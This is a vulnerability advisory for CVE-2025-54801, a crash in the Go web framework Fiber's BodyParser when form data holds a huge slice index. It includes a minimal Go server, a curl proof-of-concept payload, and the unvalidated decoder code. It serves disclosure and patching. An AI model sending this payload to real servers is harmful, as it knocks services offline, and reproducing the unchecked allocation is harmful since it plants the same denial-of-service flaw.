CVE-2025-54801: Fiber Crashes in BodyParser Due to Unvalidated Large Slice Index in Decoder
Description When using Fiber's Ctx.BodyParser to parse form data containing a large numeric key that represents a slice index (e.g., test.18446744073704), the application crashes due to an out-of-bounds slice allocation in the underlying schema decoder. The root cause is that the decoder attempts to allocate a slice of length idx + 1 without validating whether the index is within a safe or reasonable range.
Published Aug 5, 2025 · Updated Aug 6, 2025
Affected packages
github.com/gofiber/fiber/v2
- Ecosystem
- Go
- Affected
- <= 2.52.8
- Fixed in
- 2.52.9
- Check
go list -m github.com/gofiber/fiber/v2
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Description
When using Fiber's Ctx.BodyParser to parse form data containing a large numeric key that represents a slice index (e.g., test.18446744073704), the application crashes due to an out-of-bounds slice allocation in the underlying schema decoder.
The root cause is that the decoder attempts to allocate a slice of length idx + 1 without validating whether the index is within a safe or reasonable range. If idx is excessively large, this leads to an integer overflow or memory exhaustion, causing a panic or crash.
Steps to Reproduce
Create a POST request handler that accepts x-www-form-urlencoded data
package main
import (
"fmt"
"net/http"
"github.com/gofiber/fiber/v2"
)
type RequestBody struct {
NestedContent []*struct{} `form:"test"`
}
func main() {
app := fiber.New()
app.Post("/", func(c *fiber.Ctx) error {
formData := RequestBody{}
if err := c.BodyParser(&formData); err != nil {
fmt.Println(err)
return c.SendStatus(http.StatusUnprocessableEntity)
}
return nil
})
fmt.Println(app.Listen(":3000"))
}
Run the server and send a POST request with a large numeric key in form data, such as:
curl -v -X POST localhost:3000 --data-raw 'test.18446744073704' \
-H 'Content-Type: application/x-www-form-urlencoded'Relevant Code Snippet
Within the decoder's decode method:
idx := parts[0].index
if v.IsNil() || v.Len() < idx+1 {
value := reflect.MakeSlice(t, idx+1, idx+1) // <-- Panic/crash occurs here when idx is huge
if v.Len() < idx+1 {
reflect.Copy(value, v)
}
v.Set(value)
}The idx is not validated before use, leading to unsafe slice allocation for extremely large values.
---
Impact
- Application panic or crash on malicious or malformed input.
- Potential denial of service (DoS) via memory exhaustion or server crash.
- Lack of defensive checks in the parsing code causes instability.
Credited to anuraagbaishya.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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